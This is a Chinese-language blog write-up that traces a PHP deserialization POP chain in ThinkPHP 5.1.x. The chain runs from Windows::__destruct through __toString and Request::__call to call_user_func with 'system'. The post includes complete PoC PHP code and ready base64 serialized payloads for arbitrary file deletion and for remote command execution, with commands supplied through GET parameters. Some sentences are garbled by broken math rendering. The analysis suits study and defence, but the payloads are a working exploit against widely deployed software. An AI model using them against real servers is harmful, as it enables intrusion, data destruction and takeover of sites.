Thinkphp 反序列化深入分析pop利用链

环境搭建

Thinkphp 5.1.37 ----- 应该是5.1.x可以

php 7.0.12

composer create-project topthink/think=5.1.37 v5.1.37

铺垫知识

1. PHP反序列化原理
PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象。
2. 在PHP反序列化的过程中会自动执行一些魔术方法

方法名 ---------------调用条件

__call	调用不可访问或不存在的方法时被调用
__callStatic	调用不可访问或不存在的静态方法时被调用
__clone	进行对象clone时被调用,用来调整对象的克隆行为
__constuct	构建对象的时被调用;
__debuginfo	当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct	明确销毁对象或脚本结束时被调用;
__get	读取不可访问或不存在属性时被调用
__invoke	当以函数方式调用对象时被调用
__isset	对不可访问或不存在的属性调用isset()或empty()时被调用
__set	当给不可访问或不存在属性赋值时被调用
__set_state	当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep	当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString	当一个类被转换成字符串时被调用
__unset	对不可访问或不存在的属性进行unset时被调用
__wakeup	当使用unserialize时被调用,可用于做些对象的初始化操作

3. 反序列化的常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

4.反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

5.反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

6.Phar反序列化原理以及特征

phar://伪协议会在多个函数中反序列化其metadata部分

受影响的函数包括不限于如下:

copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

漏洞起点

漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

__destruct()里面调用了两个函数,我们跟进removeFiles()函数。

在这里插入图片描述
这里看到 unlink函数
这里同时也存在一个任意文件删除的漏洞,Payload构造: 必须使用namespace设置命名空间!

<?php
namespace think\process\pipes;

class Pipes{
}
class Windows extends Pipes
{
    private $files = [];

    public function __construct()
    {
        $this->files=['D:\\phpStudy\\PHPTutorial\\WWW\\tp5\\install.lock'];
    }
}
echo base64_encode(serialize(new Windows()));

输出结果

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ0OiJEOlxwaHBTdHVkeVxQSFBUdXRvcmlhbFxXV1dcdHA1XGluc3RhbGwubG9jayI7fX0=

这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。
自行构造一个利用点,试用一下
复现成功

在这里插入图片描述

rce部分起点

在removeFiles()中使用了file_exists对 filename进行了处理。$filename会被作为字符串处理。
在这里插入图片描述
而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。我们全局搜索__toString方法。

在这里插入图片描述

这里我们选择 \thinkphp\library\think\model\concern\Conversion.php
Conversion类的第224行, 这里调用了一个toJson()方法。

\thinkphp\library\think\model\concern\Conversion.php

   public function __toString()
    {
        return $this->toJson();
    }

跟进toJson()方法

\thinkphp\library\think\model\concern\Conversion.php

 public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

继续toArray()方法

thinkphp\library\think\model\concern\Conversion.php
在这里插入图片描述


  • 目的

我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点

  • 首先,这里调用了一个getRelation方法。
  • 我们跟进getRelation(),它位于Attribute类中

thinkphp\library\think\model\concern\Conversion.php
在这里插入图片描述
这里调用了getRelation方法,跟入后得到代码:

thinkphp\library\think\model\concern\Conversion.php

  public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

由于getRelation()下面的if语句为if (!$relation),所以这里不用理会,返回空即可。

在这里插入图片描述
然后调用了getAttr方法,我们跟进getAttr方法

thinkphp\library\think\model\concern\Conversion.php

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
		....
		.....
		return $value;

继续跟进getData方法

thinkphp\library\think\model\concern\Attribute.php

public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }

通过查看getData函数我们可以知道 r e l a t i o n 的 值 为 relation的值为 relationthis->data[$name],需要注意的一点是这里类的定义使用的是Trait而不是class。自
PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。

我们可以在\thinkphp\library\think\Model.php中找到这样一个类

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;

我们梳理一下目前我们需要控制的变量

  • $files位于类Windows
  • $append位于类Conversion
  • $data位于类Attribute

引用大佬的图,简单的看一下,后面还有梳理
在这里插入图片描述

代码执行点分析

这里的$this->append是我们可控的(在conversion中),然后通过getRelation($key),但是下面有一个!$relation,所以我们只要置空即可

然后调用getAttr($key),在调用getData($name)函数,这里$this->data['name']我们可控(在attribute中)

$relation 变量来自 $this->data[$name]
$name 变量来自 $this->append

之后回到toArray函数,通过这一句话$relation->visible($name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法

我们现在缺少一个进行代码执行的点,在这个类中需要没有visible方法。并且最好存在__call方法。

因为__call一般会存在__call_user_func和__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。

可以在/thinkphp/library/think/Request.php,找到一个__call函数。__call 调用不可访问或不存在的方法时被调用。

下面是引用大佬的图,很清晰的链条

在这里插入图片描述

call_user_func_array(‘system’,array(‘whoami’));
call_user_func(‘system’,‘calc’);

找到
/thinkphp/library/think/Request.php

 ......
   public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
   .....

$hook这里是可控的,所以call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。,但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头,$args第一个值不能够控制。这种情况下我们是构造不出可用的payload的。由于$args第一个值不能够控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象

call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。
虽然第330行用 array_unshift 函数把本类对象 $this 放在数组变量 $args 的第一个,但是我们可以寻找不受这个参数影响的方法

ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是,相当于 call_user_func($filter,$data) 。但是前面, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

最终产生rce的地方是在input函数当中

在input函数中有一个 $this->filterValue($data, $name, $filter);

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {

但是这里的$value不能自己进行控制,所以需要往上找可以控制value的地方,共发现以下函数:

  1. cookie
  2. input 但是这里的input参数并不是可控的:
....
   public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
       // 获取原始数据
       return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
       // 解析name
       if (strpos($name, '/')) {
         list($name, $type) = explode('/', $name);
       }

       $data = $this->getData($data, $name);

       if (is_null($data)) {
         return $default;
       }

       if (is_object($data)) {
         return $data;
       }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
       array_walk_recursive($data, [$this, 'filterValue'], $filter);
       if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
     } else {
        $this->filterValue($data, $name, $filter);
     }

这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
       $filter = [];
    } else {
       $filter = $filter ?: $this->filter;
       if (is_string($filter) && false === strpos($filter, '/')) {
         $filter = explode(',', $filter);
       } else {
         $filter = (array) $filter;
       }
    }

    $filter[] = $default;

    return $filter;
}
protected function getData(array $data, $name)
{
    foreach (explode('.', $name) as $val) {
       if (isset($data[$val])) {
         $data = $data[$val];
       } else {
         return;
       }
    }

    return $data;
}

我们继续找一个调用input函数的地方。我们找到了param函数。

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
       $method = $this->method(true);

       // 自动获取请求变量
       switch ($method) {
         case 'POST':
          $vars = $this->post(false);
          break;
         case 'PUT':
         case 'DELETE':
         case 'PATCH':
          $vars = $this->put(false);
          break;
         default:
          $vars = [];
       }

       // 当前请求参数和URL地址中的参数合并
       $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

       $this->mergeParam = true;
    }

    if (true === $name) {
       // 获取包含文件上传信息的数组
       $file = $this->file();
       $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

       return $this->input($data, '', $default, $filter);
    }

    return $this->input($this->param, $name, $default, $filter);
}

可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func$value,现在差一个条件,那就是name是字符串,继续回溯。
这里仍然是不可控的,所以我们继续找调用param函数的地方。找到了isAjax函数

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

在isAjax函数中,我们可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函数中的 n a m e 可 控 。 p a r a m 函 数 中 的 name可控。param函数中的 nameparamname可控就意味着input函数中的$name可控。

可以导致RCE
回溯一下

param()函数 可以获得$_GET数组并赋值给$this->param

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

array_merge()数组合并起来
这句代码会将$_GET数组赋值到$this->param中,在往下执行就来到了:

return $this->input($this->param, $name, $default, $filter);

再回到input函数中

$data = $this->getData($data, $name);

$name的值来自于$this->config['var_ajax'],我们跟进getData函数。

 protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }
\\

这里$data直接等于 $data = $data[$val] = $data[$name]

然后就是解析过滤器,跟进getFilter函数

$filter = $this->getFilter($filter, $default);
protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

在这里插入图片描述

就是$filter可控
最后回到input函数 关键代码

在这里插入图片描述

最后导致RCE的代码

  private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
  • filterValue.value = 第一个通过GET请求的值input.data
  • filters.key = 第一个GET的键
  • filters.filters = input.filters

上大佬的图

在这里插入图片描述
总的利用链
在这里插入图片描述

到这里思路有了,回过头来看我们poc的利用过程,首先在上一步toArray()方法。创建了一个Request()对象,然后会触发poc里的__construct()方法,接着new Request()-> visible($name),该对象调用了一个不存在的方法会触发__call方法,看一下__construct()方法内容

function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }

最终POC

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["zeo"=>["calc.exe","calc"]];
        $this->data = ["zeo"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

我们把payload通过POST传过去,然后通过GET请求获取需要执行的命令

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ6ZW8iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJ6ZW8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

复现成功
在这里插入图片描述

参考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/
https://blog.csdn.net/qq_43380549/article/details/101265818
https://xz.aliyun.com/t/6467
https://xz.aliyun.com/t/6619
https://www.t00ls.net/thread-54324-1-1.html
https://www.t00ls.net/viewthread.php?tid=52825&extra=&page=1

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值